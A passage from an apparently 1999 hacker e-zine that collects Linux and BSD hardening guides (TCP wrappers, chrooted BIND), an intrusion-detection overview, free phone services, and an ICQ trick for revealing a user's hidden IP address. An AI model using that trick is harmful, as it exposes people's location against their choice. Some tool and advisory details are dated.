       ftp or telnet access and then deny access to everybody else in hosts.deny. Here is a sample
       /etc/hosts.allow: 

       ALL: 10.100.10.0/255.255.255.0

       The ALL refers to all wrapped inetd services. This does not include stand-alone services. The second
       field 10.100.10.0/255.255.255.0 means all machines on the 10.100.10.0 subnet have access to
       all the services. Now we want to disallow access for everybody else. Put the following line into
       /etc/hosts.deny: 

       ALL: ALL

       The non-existence of the /etc/hosts.* files or empty /etc/hosts.* means no restriction. This is an
       insecure configuration unless legitimate connections might come from many diverse networks. 

       Security: An Overview

       People often ask, "How secure is my machine?" The answer is that any publicly accessible machine is
       necessarily insecure and vulnerable to security problems. Hence, we should take proper steps to
       minimize the vulnerability. There are three different aspects of security: physical, system, and network.

       Physical security is the first layer of security. Home users probably need not worry about this too
       much. However, in a public environment, this aspect of security is a much larger concern. Keep in
       mind that re-booting the system is only a ctl-alt-del away if users have access to the console. If users
       can reboot the system, it is trivial to manipulate the data on the system. Whenever possible limit user
       access to the console. 

       System Security is a topic all by itself and addresses issues such as restricting user accounts to the
       minimal necessary privileges. For example do users really need a full shell environment or will a
       restricted menu system do? System security also involves choosing secure, hard-to-guess passwords;
       reading CERT bulletins and applying patches when necessary; and not allowing root to log in from
       any terminal except the console. This means the file /etc/securetty should have only one line in it: 

       console

       System administrators have to log in as themselves first, then run su. For increased accountability, this
       program logs the user name of those who became root. 

       Network security is the most vulnerable part of your system. The following recommendations will
       significantly improve network security: 

            Strip down the OS
            In standard Linux installations such as Slackware, Debian or Red Hat, many network services
            are enabled by default. This may be a good thing if when setting up a server, but when
            configuring a user's workstation, many of these services have no benefit, and may pose serious
            security concerns. Disabling these services is a good idea. In fact, the rule that most users
            should follow is that any services you do not intend to use should be disabled. 

                 Under Linux, system processes are started at boot time by adding and removing files in
                 /etc/rc.d. For example, sendmail is started from the file rc.M. To disable such a
                 service, you comment out the corresponding lines. In some Linux distributions, these
                 services are in /etc/rc.d/rcN.d, where N is a number (the system run level). Disable
                 services by deleting or renaming the files in the /etc/rc.d/rcN.d directory. Other
                 candidates are named, routed, and httpd. 

            Disable unnecessary inetd network services
            Disable unneeded inetd services, in the manner described above (inetd.conf). Many inetd
            services are not necessary. Comment out any that are not needed. Good candidates are: nntp
            (news), finger, uucp, the ``r-commands'' like rsh, rlogin, and rexec. Use SSH instead, see
            below. 

                 Some services to possibly leave enabled are: ftp (in.ftpd), but configure ftp not to permit
                 anonymous access unless absolutely necessary; telnet (in.telnetd), the user interface for
                 remote access; and auth (in.identd), the user identification program.

            Disable unnecessary stand-alone services (/etc/rc.d/rc.inet2)
            Only inetd and syslogd are essential. The rest can be commented out if not needed. 

            Use SSH as a secure replacement for rlogin, telnet and rcp
            SSH uses cryptography to mutually authenticate users and hosts. It also encrypts the stream of
            data for confidentiality. When SSH is used, all data sent across the network is encrypted; this
            assumes that it is operating in a secure mode with the normal RSA authentication and
            public-key encryption enabled. This makes it very difficult for eavesdroppers to obtain useful
            data by intercepting the stream of traffic. 
            For more information, see http://www.cs.hut.fi/ssh/.

            Use TCP-wrappers to control the access to inetd services
            Define the access lists in /etc/hosts.allow and /etc/hosts.deny. 

            Use the latest sendmail
            Keep up with the latest stable version of sendmail. Disable it completely if email services are
            accessible elsewhere.

            Use Tripwire as an early intrusion detection system
            Tripwire maintains a checksum database of important system files. It is available via
            anonymous ftp from ftp://ftp.auscert.org.au/pub/coast/COAST/Tripwire

       Recent Security Incidents

       The following are a few Linux security advisories that have been announced recently. You can find
       more in-depth descriptions of the incidents at cert.org . 

       Buffer-Overflows 
       In some programs, boundary checking is not done for the pre-allocated buffers. When such buffers
       are overflowed, the executing program (daemon or set-uid program) can be tricked into performing
       various abnormal operations or functions. Generally this works by overwriting a function's return
       address on the stack to point to another location, then executing either a root shell or code that might
       change the protection on a program such that it can then acquire root privileges. 

       99-03: FTP-Buffer-Overflows 
       By supplying carefully designed commands to the ftp server, intruders can force the server to execute
       arbitrary commands with root privilege. Any server running the latest version of ProFTPD
       (1.2.0pre1) or the latest version of Wuarchive ftpd (2.4.2-academ[BETA-18]) is vulnerable.

       98-12: Buffer Overflow in Some Implementations of IMAP Servers
       The overflow is in library code from the University of Washington IMAP server that handles SASL
       server-level authentication. Remote intruders can execute arbitrary commands under the privileges of
       the process running the vulnerable IMAP server. If the vulnerable IMAP server is running as root,
       remote intruders can gain root access.

       Remotely Exploitable Buffer Overflow Vulnerability in mountd
       On some systems, the vulnerable NFS server is enabled by default. This vulnerability can be
       exploited even if the NFS server does not share any file systems. All un-updated versions of Red Hat
       Linux are vulnerable.

       "sscan" Scanning Tool 
       The sscan tool performs probes against victim hosts to identify services which may potentially be
       vulnerable to exploitation. Though sscan itself does not attempt to exploit vulnerabilities, it can be
       configured to automatically execute malicious scripts to exploit vulnerabilities. Watch your logs for
       port scanning.

       Denial of Service Attacks 
       There is a great increase in the number and variety of denial of service attacks in recent years. A
       well-known one is the smurf attack. Basically, a large amount of ICMP echo (ping) traffic is sent to
       a host or hosts, all of it having a spoofed source address of a victim. On a multi-access broadcast
       network, there could be hundreds of machines replying to each packet. In the common scenario,
       users with Internet access through a slow link will work hard to gain access to a high-powered
       machine located on a high-speed link, install the various utilities used to attack other hosts, and then
       launch the attack from this host. 
       For more information about the smurf attack, see http://users.quadrunner.com/chuegen/smurf.txt. 

       Conclusion

       Because Linux supports so many avenues of networking, care should be taken to secure your Linux
       server. The general rule of thumb is "Only turn on the services you need". Edit down
       /etc/inetd.conf, rc.inet2 and /etc/rc.d/rcN.d. Keep up with the security patches. Use
       good password policies. Most of the recent Linux distributions include 'passwd' programs that do not
       allow you to set an easily guessed password. Make sure your passwd program is up to date and has
       these features. Check your system's logs daily for abnormal activities like port scanning. Become
       familiar with the processes that normally run on your system and check regularly for unusual
       processes (beware of processes with names that might be very close to regularly running tasks). Scan
       your systems for unusual or suspicious files or directories. For example, filenames that start with '.',
       directories named '...', and unusual device names like '/dev/ttypx'. Use SSH instead of telnet and FTP
       for more secure communication. 

       There are many web sites and mailing lists on UNIX Security in general and Linux security in
       particular. It is important to keep current with the security issues happening around the Internet; this
       might include becoming familiar with the latest tools. Here are a few useful sites: 

       UNIX Configuration Guidelines
       ftp://info.cert.org/pub/tech_tips/UNIX_configuration_guidelines 

       Security Tools 
       ftp://info.cert.org/pub/tech_tips/security_tools 

       Bugtraq
       http://www.mit.edu:8008/menelaus/bt/ 

       References 

       1 Kevin Fenzi (kevin@scrye.com) & Dave Wreski (dave@nic.com). Linux Security HOWTO
            v0.9.11, 1 May 1998. 

       2 Matt Welsh, Phil Hughes, David Bandel, Boris Beletsky, Sean Dreilinger, Robert Kiesling,
            Evan Liebovitch, Henry Pierce. Linux Installation and Getting Started Red Hat Version
            3.2, 20 Feb 1998. 

       3 Terry Dawson, VK2KTJ, Alessandro Rubini (maintainer),alessandro.rubini@linux.it. Linux
            NET-3-HOWTO, Linux Networking. v1.3, 1 April 1998. 

       4 Wietse Venema TCP Wrapper: Network Monitoring, Access Control and Booby Traps.
            USENIX Proceedings, UNIX Security Symposium III, September 1992. 

       5 Maintained by Peter Baer Galvin The Solaris Security FAQ SunWorld, URL:
            http://www.sunworld.com/commom/security-faq.html, Last modified: Thursday, April 01,
            1999. 



            Wei-Mei Shyr worked as a system administrator for the Unix Support Group at the
            Department of Information Technology Services, University of Western Ontario. 

            Brian Borowski is a network administrator who supports a wide range of network equipment
            at the University of Western Ontario.       


      @HWA
      
59.0  Cool internet phone resources
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      (See also section 13.0 for making free phone calls within the US - Ed)     
      
      
      
      
           _|_|_|  _|        _|     _| _|     _|  _|     _|    _|_|_|   _|_|_|
           _|      _|      _|  _|  _| _| _|  _| _| _|  _|  _|  _|   _|  _|
           _|_|    _|      _|_|_|  _|    _|  _|    _|  _|_|_|  _|_|_|   _|_|
           _|      _|      _|  _|  _|    _|  _|    _|  _|  _|  _|   _|  _|
           _|      _|_|_|  _|  _|  _|    _|  _|    _|  _|  _|  _|_|_|   _|_|_|
      
      
                        _|_|_|   _|  _|  _|_|_|  _|_|_|  _|_|_|  _|_|_|
                        _|   _|  _|  _|  _|      _|      _|      _|
                        _|_|_|   _|_|_|  _|_|    _|      _|_|    _|_|_|
                        _|       _|  _|  _|      _|      _|          _|
                        _|       _|  _|  _|_|_|  _|_|_|  _|_|_|  _|_|_|
      
      
                                   http://www.pheces.org
                      "I sniffed Coke once but the ice got stuck in my nose." 
      
      
      öööööööööööööööööööööööööööööööö
      
      Title:      |||| cool phone stuff on the internet ||||
      
      Date:       September 17, 1999
      Author:     matt
      
      öööööööööööööööööööööööööööööööö
      
      Alright, this is my first text file so bare with me.
      
      Phones.. you use em everyday, they're a part of life.  You can get so nice
      free phone services like voicemail, phone email, and other sweet shit,
      right on the net.  
      
      Broadpoint has a nice program that offers you long distance calling for
      free.  You listen to (ignore) a 15 second ad and you get talk time.  Its 1
      ad per 2 minutes of talk time.  These things are great for prank calls
      from pay-phones and calling mom to come pick you up at the movies.  The
      offer is called FreeWay and is found at http://www.broadpoint.com
      
      myTalk is a place that gives you an email address, and a toll-free number
      with and extension.  So say someone sends you an email, you can go online
      and check your mail via the web, or if you're away from home, you can call
      up your toll free number, enter your extension, and you can listen to some
      geeky voice read you your messages.  You can also send messages over the
      phone, it'll encode em to a .rm or .wav file for you and send them to the
      address you specify.  Visit their site at http://www.mytalk.com
      
      Ok, so you want voicemail so your friends can contact you, no problem.
      uReach has a great voicemail system.  You get your OWN toll free number,
      thats right, no special extensions.  People can call your number up and
      leave you a message.  You can get their message by going on their website,
      logging in, and hearing it in audio format, or you can just call up your
      number and hear your messages.  They too also will read you your email and
      you can send email from there.  They also have a sweet fax service where
      you just send an email to say 3132987600@fax.ureach.com and it'll send
      that message to the fax machine you listed in the address, in this case
      its 313-298-7600.  You can hook up with uReach at http://www.ureach.com
      
      There are tons of other free phone services around the net, you just have
      to look for them.  I know Excite.com has some free voice-mail system.
      Thinklink.com also has something, but you have to give them your credit
      card number.  Look around, you'd be amazed at what you can get for free on
      the internet.
      
      matt (matt@kire.net)
      
      (((((((((((((((((((((((((((((((((((((#yep)))))))))))))))))))))))))))))))))
      
      @HWA
      
60.0  Securing DNS in FreeBSD/OpenBSD
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
            
      Securing DNS (OpenBSD/FreeBSD Version) 
      
      
      
      There have been a large number of problems with  BIND  because of the size 
      and complexity of the functions it performs. As a result, a number of  
      attacks  (and  here ) are beginning to emerge that target this service 
      specifically, some of which can allow full remote access to the target 
      host. Because systems running DNS servers are so critical to the network 
      infrastructure, it is vital that these systems do not get compromised.  

      To further this, I've prepared this short document that describes how to 
      set up your BIND 8.1.x server in a chroot() environment under OpenBSD 2.3 
      , which is what I run my DNS/SMTP/WWW servers on. This document is largely 
      inspired by my friend       Adam Shostack and his paper on the identical 
      subject matter (which covers Solaris). Please read his paper (and check 
      out his entire page which contains good reading) after you've been here. 
      As a side note, OpenBSD version 2.4 and above now run with BIND in a 
      chroot() jail by default (this document was originally written before that 
      release), but these instructions will prove equally useful to other BSD 
      variants that don't have this useful and prudent feature on by default. 

      NOTE: This is a living document and I expect changes and small errors to 
      be discovered over time. My DNS server is very small and handles a limited 
      number of zones and traffic. It is quite possible that the information I 
      supply here does not work for larger       sites. If this is your case 
      please write me and tell me what is broken so I can change it here! Your 
      input will be given full credit and will help everyone who wishes to 
      contain the beast we call BIND. 

      
      Step One: Get The Software and Install

      Go to the ISC FTP Site and download the latest version of BIND. These 
      directions have only been tested on BIND version 8.1.x. Higher versions 
      are shipping now and testing will be done on these as well, although a 
      preliminary glance indicates that the       procedure will be virtually 
      identical. 

      Install the software per the directions included with the package.  

      Step Two: Make static named and named-xfer binaries

      After the build and install you will need to make a statically linked 
      version of the program. This is easily accomplished by going into the 
      directory  /src/port/openbsd under BIND and editing the file Makefile.set.  

      Change the line:  
      
      'CDEBUG= -O2 -g'  
      
      To:  
      
      'CDEBUG= -O2 -static'  
      
      Go to the top of the BIND source directory and do a "make clean"  followed 
      by a "make". Go onto the next step where you will copy the files to the 
      chroot() directory.  

      For the uninitiated, a statically linked program is one that does not 
      perform dynamic loading of libraries. For a chroot() environment it means 
      that the executable will be "self-contained" and will not cause an error 
      if you are missing a library file. While it is not       necessary to have 
      statically linked files in the chroot() environment, it often makes setup 
      easier. I prefer to have all network daemons statically linked for this 
      reason.  

      
      Step Three: Make a Directory for BIND

      Create a directory for BIND to be chroot()ed in. This can be as simple as 
      /chroot/named and will be the "pseudo" root where BIND will reside. The 
      ultra-paranoid may even want to put this chroot jail on a separate 
      physical volume.  

      Under this directory you will need to create the following directory 
      structure:  

      /dev        /etc  /namedb  /usr  /libexec  /var  /run  

      Under each directory you will need to copy the following files and/or 
      perform the following commands:  

      /             copy statically linked named binary from the BIND 
      src/bin/named directory  

      /etc             copy named.conf  from /etc  copy localtime from /etc (so 
      named logs correct timezone in syslog)  

      /etc/namedb             copy all zone databases and files from /etc/namedb  

      /dev             mknod null c 2 2; chmod 666 null (For other BSD variants, 
      look at /dev/MAKEDEV to get the mknod command)  

      /usr/libexec                 copy statically linked named-xfer binary from 
      the BIND src/bin/named-xfer directory  

      /var/run             None  

      Additionally, Bernhard Weisshuhn <bkw@weisshuhn.de>, writes that if you 
      have custom logging directories specified that you need to be sure to make 
      these as well (/var/log). Although named won't crash, it will complain.  

      Step Four: Add named user and group
      
      Add the user named to the /etc/passwd and to the /etc/group files. This 
      will be the UID/GID that the server runs under.  

      You should now go to the /chroot/named/var/run directory and make it 
      writable by named so the named.pid file can be written to upon startup. 
      This is used by the ndc command to control named's operation. 

      At this point you may want to go into your chroot named area and chown -R 
      named.named on the /etc/namedb directory. This allows  named to dump cache 
      and statistical information if you send it the proper signal (kill -INT 
      <PID>) . This change should       not significantly effect the security of 
      your chroot() setup.  Leaving it owned as root won't allow named to write 
      out this information (remember named now runs under a new UID and no 
      longer root), but still allows named to function. A second option is to 
      change the permissions to allow writing to this directory, but leaving it 
      owned by root. This could also work but you need to be careful with doing 
      so to ensure normal users can't modify your named records!  

      IMPORTANT: ** DO NOT USE AN EXISTING UID/GID to run named under (i.e. 
      "nobody"). It is always a bad idea to use an existing UID/GID under a 
      chroot environment as it can impact the protection offered by the service. 
      Make a separate       UID/GID for every daemon you run under chroot() as a 
      matter of practice.  

      
      Step Five: Edit startup scripts

      1) Edit /etc/rc and change the named startup line from: 

      echo 'starting named'; named $named_flags 

      To the location of your statically linked binary under the chroot 
      directory:  

      echo 'starting named';  /chroot/named/named $named_flags  

      You now need to enable a syslog socket in your chroot jail so named can 
      write messages to your logs. To do this edit /etc/rc.conf and change the 
      syslogd flags:  

      syslogd_flags="-a /chroot/named/dev/log" (FreeBSD uses '-l' instead of 
      '-a')  

      You will also need to change the startup flags for BIND. Version 8.x has a 
      feature where you can change the user and group ID after binding. This is 
      where you specify your UID/GID you assigned to BIND above.  

      named_flags="-u named -g named -t /chroot/named"  

      2) BIND 8.1.x ships with a script called "ndc" which is used to control 
      named operations. You will need to edit this file and change the location 
      of the variable PIDFILE from /var/run/named.pid to 
      /chroot/named/var/run/named.pid. BIND 8.2.x and above       now makes this 
      a binary and this change won't be necessary any longer. 

      Step Six: Test it out
      
      Stop syslogd and named if they running and then from the command line type:  
      
      syslogd -a /chroot/named/dev/log (FreeBSD uses '-l' instead of '-a')   
      
      Go into this directory and ls -al. You should see (the date is insignificant):  
      
      srw-rw-rw- 1 root wheel 0 Jan 01 12:00 log  
      
      The "s" bit is set to indicate that the file is a socket. This is how 
      named will write to syslog from within the chroot() jail.  

      Now type:  

      /chroot/named/named -u named -g named -t /chroot/named  

      If all goes well named will start and your logs will indicate that named 
      is "Ready to answer queries."  

      Perform other DNS tests as appropriate to ensure operation, then reboot 
      your system and verify the setup. BIND should have started and reported it 
      chroot()ed to to directory and changed UID/GID. You can use a program such 
      as  lsof  to list out the owner of       all network sockets on the host. 
      The owner should be your named UID/GID.  

      When everything is working you should either rename /etc/namedb to 
      something like /etc/namedb.orig and chmod 000 /usr/sbin/named to ensure 
      that the old version doesn't get run by mistake. Reboot your system and 
      assuming everything is correct your       named will now be chroot()ed.  

      
      Thanks

      Thanks to the following people who made suggestions and submitted 
      corrections:  

      Steinar Haug <sthaug@nethelp.no> - Comments concerning blocking of TCP to 
      port 53.  

      Bernhard Weisshuhn <bkw@weisshuhn.de> - Comments pertaining to Linux 
      install (typos, adding /etc/group entry).  

      Marc Heuse <Marc.Heuse@mail.deuba.com> - Comments pertaining to logging 
      and renaming of old binaries and directories.  

      Jan Gruber <jgr@tpnet.de> - Comments pertaining to permissions on 
      /chroot/named/var/run and changes to the ndc control script. 

      Modred <modred@antisocial.net> - Corrections for FreeBSD and small typo on 
      making /dev/log 

      Robert J. Brown <rjb@netpr.com> - Corrections in steps five and six where 
      I typed /chroot/named instead of /chroot/named/named to start the binary. 
      Advised about changes to ndc under BIND 8.2. 
      
      Other Sources
        
      
      Adam Shostack's Home Page  - Good reading on various items.  
      http://www.homeport.org/~adam
      
      
      Internet Software Consortium  - Suppliers of BIND, INN, and other software. 
      http://www.isc.orgs
      
      
      All Material Copyright ©1996-99 Craig H. Rowland and Psionic Software Systems
       
      @HWA
      
      
61.0  Getting someone's IP thru ICQ without a hacking proggie
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
           _|_|_|  _|        _|     _| _|     _|  _|     _|    _|_|_|   _|      _|_|_|
           _|      _|      _|  _|  _| _| _|  _| _| _|  _|  _|  _|   _|  _|      _|
           _|_|    _|      _|_|_|  _|    _|  _|    _|  _|_|_|  _|_|_|   _|      _|_|
           _|      _|      _|  _|  _|    _|  _|    _|  _|  _|  _|   _|  _|      _|
           _|      _|_|_|  _|  _|  _|    _|  _|    _|  _|  _|  _|_|_|   _|_|_|  _|_|_|
      
      
                        _|_|_|   _|  _|  _|_|_|  _|_|_|  _|_|_|  _|_|_|
                        _|   _|  _|  _|  _|      _|      _|      _|
                        _|_|_|   _|_|_|  _|_|    _|      _|_|    _|_|_|
                        _|       _|  _|  _|      _|      _|          _|
                        _|       _|  _|  _|_|_|  _|_|_|  _|_|_|  _|_|_|
      
      
                                  http://www.pheces.org presents...
      
                     Getting someones IP through ICQ without a funkay program
      
      ------------------------------------------
      Author: X-Arch
      
      Disclaimer (who gives a fuk but eh): im not responsible for anything u use this
      information for...for educational perpose and all that stuff....so just chill and
      use it for knowledge..=)
      -----------------------------------------
      
      What are we doin:
      Ever wanted too get someones IP and the only way is through icq and they have it
      hidden?...and you dont have any programs on you too do so?....well here we go...very
      easy trick too get past it and see they'r ip in they'r info...
      
      
      
      Related txts's: none that i know of
      
      How to:
      
      Step #1:
      Connect to icq network....i.e. just load icq and connect
      
      Step #2:
      is the person who u wanna get the ip of online?...if so then simply check they'r icq
      info...if it is hidden then here we go this is how you get they'r ip...
      
      
      Step #3:
      simple make sure they are online and then DISCONNECT YOURSELF from ICQ ONLY, i.e. goto icq
      and then status and click disconnected.
      
      Step #4:
      then WHILe you are offline goto the person who you wanna get the IP of and goto they'r INFO
      and then they'r LAST ip will be there. So if they are still online you will see they'r IP
      and there ya go...have fun...=)
      
      
      Method 2 (unstable method):
      
      Step #1:
      Connect to icq...then the person who u wanna get the IP of just send them a msg....
      
      
      Step #6:
      When you get a response, goto a DOS prompt and type "netstat"....then look through the generic
      IP's there and look for something that is coming from a port between 1000-4000 or something
      of the sort....that should be them sending a msg on that port through ICQ...enjoy...this
      method is more unstable and not as reliable and more for more advanced users who know how to
      use netstat properly...
      
      well thats it for now....enjoy!
      
      
      
      
      (((((((((((((((((((((((((((((((((((#yep)))))))))))))))))))))))))))))))))))))      
      
      @HWA
               
62.0  Intrusion detection within a secured network
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
          Intrusion Detection within a Secured Network 
                   
      This information was provided and written by OptikNerve. This text file 
      describes how to detect an intrusion within a secured network for the 
      system's administrator. The programs that are used in this text file are: 
      RealSecure 3.0, Centrax 2.2, and AXENT NetProwler.

      Site Resources: 

           www.cybersafe.com - Centrax 2.2
           www.axent.com - NetProwler  3.0 
           www.iss.net - RealSecure 3.0 

      Introduction to Intrusion Detection       Intrusion detection methods are 
      pretty much based on the assumption that an intruder's activity is 
      noticeably different then the regular/usual behavior of a regular user. 
      The distinguishing characteristics characteristics of an ID include the 
      set of parameters they examine and the source of their data.

      Host-based Intrusion detections are of two different types: application 
      specific and operating system-specific. In both types, an agent generally 
      runs on the server being monitored, and analyzes log files, access 
      records, and application log files. Anomaly detection module which are 
      based on       statistical camparisons to normal patterns are typically 
      used on a Host-based systems. In the case of operating system-specific 
      monitors, abnormal sessions, such as unsuccessful logins which are 
      compared to a behavoiral model of normal usage using criteria, such as 
      time of access and the number and types of files created and accessed. 
      Application-specific intrusion detection tools usually define a set of 
      rules describing suspicious activity based on logged events. Generally, 
      these tools don't operate in real time and don't have access to the 
      protocol or other real packet-level information while searching for the 
      patterns of suspicious activity.

      Network-based intrusion detection monitors have the benifit of potentially 
      analyzing all layers of the network communication. These tools can reside 
      on their own servers, therefore, can eliminate performance hits on the 
      application server(s). They can also use a rule base to describe common       
      attack techniques. Patterns (known as attack signitures), define the 
      sequence of network events that constitute an attack. Attack signatures 
      can be defined dynamically as user-definable patterns or statically as 
      functions within the application.

      Deploying Intrusion Detection       Since intrusion detection operate by 
      analyzing network traffic, the monitors provide protection only for local 
      segments. There are four common deployment strategies: 

           In the he network's DMZ (demilitarized zone)-- Acts to protect 
           devices in that area, such as firewalls from attack.            On 
           each critical segment within the intranet-- Detecting intrusions here 
           can help protect against security breaches from within the 
           organization. Just inside the firewall on the intranet-- Provides a 
           means of monitoring a firewall and ensures that there no tunnels 
           through that firewall that are being used to breach the system. On 
           critical hosts-- Sensitive data gains some protection by having 
           intrusion detection agents monitor unusual administrative activities 
           or configuration changes. 

      Most attacks were carried out from within the organization, but this is 
      beginning to change: In various survey's, this statement would be 
      considered false. Right now, the number of internet attacks, are made from 
      internal sources.

      If you're concerned interdepartmental traffic, the network backbone is 
      another location for an intrusion detection. Network administrators with 
      large modem pools may consider wanting to monitor traffic immediately 
      behind the modems.

      RealSecure 3.0       RealSecure 3.0 is a member of Internet Security 
      Systems SAFEsuite package of network security software. Other applications 
      include Internet Scanner, a network vulnerability system that checks 
      TCP/IP services, Web servers, and firewalls for specific vulnerabilities 
      or exploits. System Scanner, an operating system-specific vulnerability 
      checker; and Database Scanner, a risk assessment product for Microsoft SQL 
      server and Sybase databases.

      RealSecure supports two types of detectors: system agents and network 
      engines. Network engines monitor network packets on a segment looking for 
      attack patterns. System agents monitor activity on hosts to determine 
      whether an intruder has gained access to the system. RealSecure is       
      administered from a console application, which communicates with other 
      components using strong authentication.

      ISS recommends running RealSecure on dedicated hosts. The detectors and 
      console are both memory insensive applications and shouldn't be running 
      together on the same machine. A 300MHz server with 128MB of RAM is 
      recommended for running detectors on NT 4.0. The console should       have 
      a 200MHz with 64MB of RAM on NT 4.0. Determining the ammount of disk space 
      can be difficult, and will depend on the volume of traffic and the 
      RealSecure configuration. Security administrators need to determine which 
      events are worth monitoring to prevent excessive use of disk space.

      The first task with RealSecure is to add detectors to your configuration 
      using the console. Setting up a detector will define the attack signature 
      to monitor, user-defined connection events, user-specified actions, 
      filters, e-mail notifications, and SNMP traps. The detector and consoles       
      communicate using strong encryption methods. Policies specifiying what 
      type of traffic to monitor, the priority of events, and how to detector 
      responds to events.

      RealSecure uses three types of events: connection, security and user 
      defined filter. Security events use a static set of attack signatures to 
      recognize suspicious activity that might be comming from an intruder. 
      Connection events recognize connections through particular ports, from 
      certain       addresses, or with a certain type of protocol. User-defined 
      filters allow the detectors to ignore particular kinds of traffic, based 
      on the protocol, source and the destination IP addresses, and the source 
      and its destination ports.

      When an event is detected, an action is carried out. RealSecure supports 
      10 types of actions; the most important are logging summary information, 
      logging raw data, sending e-mail notification, killing a session, locking 
      the firewall, viewing a session, and running user-defined actions. 
      Sessions       are killed by sending a TCP reset command to both parties. 
      Locking the firewall sends a command to the firewall to block traffic from 
      the offending source IP address for a specified period of time. Viewing a 
      session allows a security manager to monitor communications if real time. 
      User-provided executables carry out user-defined actions.

      Centrax       Centrax 2.2 is an integrated host- and network based 
      intrusion detection with the vulnerability assessment and policy 
      management features that was made by CyberSafe. Centrax consists of a 
      Command Console and target services. As with RealSecure, the console lets 
      security managers monitor and configure the intrusion detection software. 
      The console runs on an NT server; the target services can run on both 
      Solaris and NT systems. CyberSafe recommends that the Console is run on 
      atleast a 166MHz with 64MB of RAM. Target services can run on NT 
      Workstation or Server 3.51 or 4.0 with atleast a 486 processor and 32MB of 
      RAM.
      
      Around 50 or more attack signatures are provided for Solaris and around 80 
      signatures are provided for NT. Monthly updates to the attack signature 
      set are avialable from the CyberSafe website. As with RealSecure, 
      administrators can sonfigure the responses to an event(s) and shut down 
      the system, log off the user, or even disable the account. The attack 
      signatures cover a range of objects and activities, including audit and 
      administrative activities, critical system objects, decoy files, password 
      changes, administrative groups, and user administration.

      Since this includes a host-based system, there will be some performance 
      penalty which will be around two to five percent when optimally 
      configured-- unlike configured network-based systems that require a 
      dedicated system and monitor traffic. Another difference between network- 
      and       host-based systems, such as Centrax, is that the latter belong 
      within the intranet, not on the permineter of the network.

      The Centrax 2.2 Console is made up of serveral components. Target Agents 
      communicates with target services to distribute audit and collection 
      policies, along with gathering status information from the services. 
      Assessment Manager evaluates security vulnerabilities, such as problem 
      with       guest accounts and administrative privileges. Alert Manager 
      notifies security managers of a detected intrusion/threat. Detection 
      Policy Editor is used to define the list of potential attacks to watch for 
      and means of notification. Gathering data from the target services is run 
      by policies defined in the Collection Policy Editor. Last, the Report 
      Manager provides forensic analysis and detailed reports of the current 
      system(s) activities.

      AXENT NetProwler       AXNET NetProwler is a network-based intrusion 
      detection tool that lets users define custom signatures. Initially 
      configured with more then 200 well-known attack profiles/signatures which 
      include: port scanning, denial of service, TCP sequence number spoofing, 
      and IP address spoofing. NetProwler provides a GUI tool that lets users 
      create attck signatures for less common types of attacks, such as attempts 
      to an Oracle database and more. In addition, NetProwler provides other 
      network management tools, which include consistency check for DNS server 
      tables, Web and FTP daemon content, time-of-day access restrictions, and 
      inactive session purging.

      NetProwler, similar to RealSecure and Centrax, uses a combination of 
      centralized management, distributed collection and detection agents, and 
      data repository. The NetProwler console is a Java-based tool, that runs 
      from a Web browser. The centralized data repository supports Microsoft       
      Access and SQL daemons.

      As like the other tools, administrators can configure their own systems to 
      monitor activity and review attack signatures from the console. The most 
      distinguishing characteristic that NetProwler provides is its ability to 
      define custom attack signatures using an attack signature wizard.

      Stateful Signature Inspection (SDSI) comprises a virtual processor, an 
      intrusion set for defining attack signatures, and a cache for maintaining 
      the state of connections monitored by the processor. When a packet is 
      processed, the previously gathered information on the cache, and attack 
      signature definitions are executed on the virtual processor. When an 
      attack pattern is found, the actions associated with the attack are 
      executed. Since attack signatures are data-driven, you are allowed to add 
      new ones in real time. AXNET maintains an Internet Security team, which 
      researches new threats and vulnerabilities then they publishe attack 
      signatures that can be downloaded as needed.

      A graphical user interface is used to configure and monitor the system, 
      allowing administrators to monitor both network-based and host-based 
      intrusion detection systems across the network. When first installed, 
      NetProwler analyzes traffic on the network, and examines hosts on the 
      segment to       determine the attack profiles that should be loaded. This 
      assessment also includes discovery of popular systems and applications. At 
      any point, after the installation, an administrator can add custom attack 
      signatures using a drag-and-drop tool. Three types of attacks can be 
      defined: 

           1-off attack, such as a LAND attack that sets the source and 
           destination address of the packet the same address is done with a 
           single transmission.            Sequential or low-level attack, in 
           which there's a series of exchanges between the server and the 
           client. counter-based attack, such as 20 queries to the same database 
           lookup page, can be blocked, based on the number of times a pattern 
           appears in the stream of network traffic. 

      All three types are defined by using keywords; for example, TCP Stack, and 
      a set of predefined expressions, such as conditional statements.

      Protecting User Privacy       PlanetAll, provides a Web-Based contact 
      management repository for its clients. Users can define address books and 
      link to other PlanetAll users sharing scheduling and address information. 
      They have a strict policy of safeguarding a user's privacy, believing that 
      contact information should be completely private, and its shared only when 
      users explicitly choose to share it. As part of the overall security plan 
      for protecting customer information, PlanetAll uses NetProwler.

      On the downside, NetProwler, and network-based detection mechanisms in 
      general, don't work on switched networks since traffic isn't broadcasted 
      through the entire segment. To provide NetProwler with access to the 
      entire traffic stream, PlanetAll had to place its server outside the 
      sweitched       network segment.

      Conclusion       Intrusion detection is another type of security tool that 
      IT managers must create to protect their information resources. Intrusion 
      detection complements firewalls by allowing a higher level of analsis of 
      traffic on a network, and by monitoring its behavior of the sessions on 
      the servers. Network-based detection allows access to the entire OSI 
      stack, but is limited on switch networks and Virtual Private Networks 
      because of encryption reasons. Host-based intrusion detection systems 
      provide a more operating specific monitoring, but can't protect against 
      low-level attacks such
      as a denial-of-service attack. Intrusion detection vendors have known of
      the limitation of these approaches and are now offering multiple programs,
      such as NetProwler's host-based counterpart from AXENT, Intruder Alert, 
      to provide more accurate coverage and logs.
      
       
      
      Copyright Secure System Admistrating Research, 1999 all rights reserved.
      
      
      @HWA        
      
63.0  Preparing your Linux box for the internet: Armoring Linux
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Preparing your linux box for the Internet 
      Armoring Linux 
      
      Lance Spitzner 
      Last Modified: 23 June, 1999 
      
      Organizations throughout the world are adopting Linux as their production 
      platform.   By connecting to the Internet to provide critical services, 
      they also become targets of opportunity.  To help protect these Linux 
      systems, this article covers the basics of securing a Linux box.  The 
      examples provided here are based on Red Hat 5.x, but should apply to most 
      Linux distributions. 

      Installation       The best place to start in armoring your system is at 
